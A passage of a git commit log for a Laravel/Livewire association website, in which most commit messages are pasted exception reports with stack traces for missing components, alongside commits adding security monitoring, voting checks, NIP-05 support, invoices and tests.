Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php:87 - [19] Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [20] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php:48 - [21] Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [22] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php:120 - [23] Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest() at vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php:63 - [24] Illuminate\\Session\\Middleware\\StartSession->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [25] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php:36 - [26] Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [27] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php:74 - [28] Illuminate\\Cookie\\Middleware\\EncryptCookies->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [29] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:137 - [30] Illuminate\\Pipeline\\Pipeline->then() at vendor/laravel/framework/src/Illuminate/Routing/Router.php:821 - [31] Illuminate\\Routing\\Router->runRouteWithinStack() at vendor/laravel/framework/src/Illuminate/Routing/Router.php:800 - [32] Illuminate\\Routing\\Router->runRoute() at vendor/laravel/framework/src/Illuminate/Routing/Router.php:764 - [33] Illuminate\\Routing\\Router->dispatchToRoute() at vendor/laravel/framework/src/Illuminate/Routing/Router.php:753 - [34] Illuminate\\Routing\\Router->dispatch() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php:200 - [35] Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:180 - [36] Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}() at vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php:19 - [37] Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [38] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php:21 - [39] Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php:31 - [40] Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [41] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php:21 - [42] Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php:51 - [43] Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [44] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php:27 - [45] Illuminate\\Http\\Middleware\\ValidatePostSize->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [46] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php:109 - [47] Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [48] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php:48 - [49] Illuminate\\Http\\Middleware\\HandleCors->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [50] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php:58 - [51] Illuminate\\Http\\Middleware\\TrustProxies->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [52] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php:22 - [53] Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [54] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php:26 - [55] Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [56] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/nightwatch/src/Hooks/GlobalMiddleware.php:53 - [57] Laravel\\Nightwatch\\Hooks\\GlobalMiddleware->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [58] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:137 - [59] Illuminate\\Pipeline\\Pipeline->then() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php:175 - [60] Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php:144 - [61] Illuminate\\Foundation\\Http\\Kernel->handle() at vendor/laravel/framework/src/Illuminate/Foundation/Application.php:1220 - [62] Illuminate\\Foundation\\Application->handleRequest() at public/index.php:17 ## Code Context - Not captured ## Occurrence Statistics - First seen: `2026-02-10T16:08:30+00:00` - Last seen: `2026-02-10T16:08:30+00:00` - Occurrences (last 24 hours): `1` - Occurrences (last 7 days): `1` - Users affected: `0` |
||
|
|
7882e0d724 |
Fix (vibe-kanban 7be09dee)
## Wenn `changelog nicht mehr existert, dann lösche die Vorkommnisse.` Exception Summary - Class: `Livewire\Exceptions\ComponentNotFoundException` - Message: `Unable to find component: [changelog]` - Code: `0` - File: `vendor/livewire/livewire/src/Factory/Factory.php:76` - Timestamp: `2026-02-10T17:36:34+00:00` - Details: This exception was thrown during a HTTP Request. ## HTTP Request - Method: `GET` - URL: `https://verein.einundzwanzig.space/changelog` - Route: `changelog` - Status code: `500` - IP address: `43.173.173.8` ### Request Headers - `accept-encoding: gzip` - `upgrade-insecure-requests: 1` - `accept-language: en-US,en;q=0.9` - `accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7` - `user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36` - `host: verein.einundzwanzig.space` ### Authenticated User - Not authenticated for this execution. ## Database Queries (before exception) - Not captured ## Stack Trace (most recent call first) - [0] Livewire\\Factory\\Factory->resolveComponentNameAndClass() at vendor/livewire/livewire/src/Factory/Factory.php:76 - [1] Livewire\\Factory\\Factory->resolveComponentNameAndClass() at vendor/livewire/livewire/src/Factory/Factory.php:88 - [2] Livewire\\Factory\\Factory->resolveComponentClass() at vendor/livewire/livewire/src/Features/SupportPageComponents/SupportPageComponents.php:251 - [3] Livewire\\Features\\SupportPageComponents\\SupportPageComponents::routeActionIsAPageComponent() at vendor/livewire/livewire/src/Features/SupportPageComponents/SupportPageComponents.php:209 - [4] Livewire\\Features\\SupportPageComponents\\SupportPageComponents::{closure:Livewire\\Features\\SupportPageComponents\\SupportPageComponents::resolvePageComponentRouteBindings():207}() at [internal function] - [5] call\_user\_func() at vendor/laravel/framework/src/Illuminate/Routing/Router.php:982 - [6] Illuminate\\Routing\\Router->substituteImplicitBindings() at vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php:41 - [7] Illuminate\\Routing\\Middleware\\SubstituteBindings->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [8] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php:87 - [9] Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [10] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php:48 - [11] Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [12] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php:120 - [13] Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest() at vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php:63 - [14] Illuminate\\Session\\Middleware\\StartSession->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [15] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php:36 - [16] Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [17] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php:74 - [18] Illuminate\\Cookie\\Middleware\\EncryptCookies->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [19] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:137 - [20] Illuminate\\Pipeline\\Pipeline->then() at vendor/laravel/framework/src/Illuminate/Routing/Router.php:821 - [21] Illuminate\\Routing\\Router->runRouteWithinStack() at vendor/laravel/framework/src/Illuminate/Routing/Router.php:800 - [22] Illuminate\\Routing\\Router->runRoute() at vendor/laravel/framework/src/Illuminate/Routing/Router.php:764 - [23] Illuminate\\Routing\\Router->dispatchToRoute() at vendor/laravel/framework/src/Illuminate/Routing/Router.php:753 - [24] Illuminate\\Routing\\Router->dispatch() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php:200 - [25] Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:180 - [26] Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}() at vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php:19 - [27] Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [28] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php:21 - [29] Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php:31 - [30] Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [31] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php:21 - [32] Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php:51 - [33] Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [34] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php:27 - [35] Illuminate\\Http\\Middleware\\ValidatePostSize->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [36] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php:109 - [37] Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [38] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php:48 - [39] Illuminate\\Http\\Middleware\\HandleCors->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [40] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php:58 - [41] Illuminate\\Http\\Middleware\\TrustProxies->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [42] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php:22 - [43] Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [44] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php:26 - [45] Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [46] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/nightwatch/src/Hooks/GlobalMiddleware.php:53 - [47] Laravel\\Nightwatch\\Hooks\\GlobalMiddleware->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [48] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:137 - [49] Illuminate\\Pipeline\\Pipeline->then() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php:175 - [50] Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php:144 - [51] Illuminate\\Foundation\\Http\\Kernel->handle() at vendor/laravel/framework/src/Illuminate/Foundation/Application.php:1220 - [52] Illuminate\\Foundation\\Application->handleRequest() at public/index.php:17 ## Code Context - Not captured ## Occurrence Statistics - First seen: `2026-02-01T12:05:09+00:00` - Last seen: `2026-02-10T17:36:34+00:00` - Occurrences (last 24 hours): `2` - Occurrences (last 7 days): `17` - Users affected: `0` |
||
|
|
5b814d631b |
✨ Add Security Monitoring System with Command, Model, and Service
- 🛡️ Introduce `SecurityMonitor` service for tampering and malicious activity detection. - 🏷️ Add `SecurityAttempt` model and migration to log, categorize, and query security attempts. - 🖥️ Create `SecurityAttemptsCommand` for filtering, statistics, and top IP analysis. - ✅ Add extensive tests to ensure the reliability of security monitoring and logging. - 🔗 Integrate `SecurityMonitor` into the exception handling pipeline for real-time monitoring. |
||
|
|
064ed68638 |
🛠️ Add checks to prevent unauthenticated users from voting and hide voting buttons accordingly
✅ Add tests to ensure proper handling of unauthenticated users during voting interactions
|
||
|
|
2957e89c79 |
🔒 Add #[Locked] attribute to Livewire components to enhance security against client-side state tampering
|
||
|
|
71ce57ddd3 | ✨ Add NIP-05 support and improve payment interaction handling | ||
|
|
88a6623503 |
🔗 Add unique pleb+year constraint to payment_events and ensure migration handles duplicates
- 🧹 Prune duplicate `payment_events` before adding the unique index in migration - ✅ Add tests to verify invoice management, expiration handling, and payment status updates - ⚙️ Refactor invoice management flow with `resolveCurrentPaymentEvent` and status syncing logic - 🎨 Enhance UI for invoice status with dynamic messages, labels, and expiration info |
||
|
|
578e4f13fc |
🧹 Migrate Yarn registry URLs to npm registry: update yarn.lock dependencies for consistency and clean up unused entries.
|
||
|
|
5e5e211244 | ✨ Add file upload support: enable image uploads, implement file validation, and integrate media handling in project-support forms. 🛠 Update Blade templates and Livewire components for improved UX. | ||
|
|
34f8d949d5 |
✨ Add NIP-05 handle management: Introduce migration, API route, and Livewire updates to support NIP-05 handle verification.
⚡ Enhance Nostr fetcher: Refactor profile data merging logic for improved efficiency and accuracy.
🛠
|
||
|
|
6edcf014a6 | 🗑️ Remove unused and outdated Blade views, refactor access restriction messages with Flux callout components, and update related Livewire tests for improved maintainability and UX. | ||
|
|
22d3e6aac1 |
🛠️ Add Eloquent factories for ProjectProposal and Election models, integrate HasFactory trait, and update tests with NostrAuth for authentication validation.
|
||
|
|
31fb04caaa |
🗑️ Remove outdated migration files for einundzwanzig_plebs and pulse tables, restructure directory, and update testing suite with new factories and Livewire tests.
|
||
|
|
0694a2d837 | ✨ Add Livewire Flux components and new tests for project proposal and editing forms | ||
|
|
b38f3f8bed | Install Pest | ||
|
|
0769adfba3 | Set up a fresh Laravel app |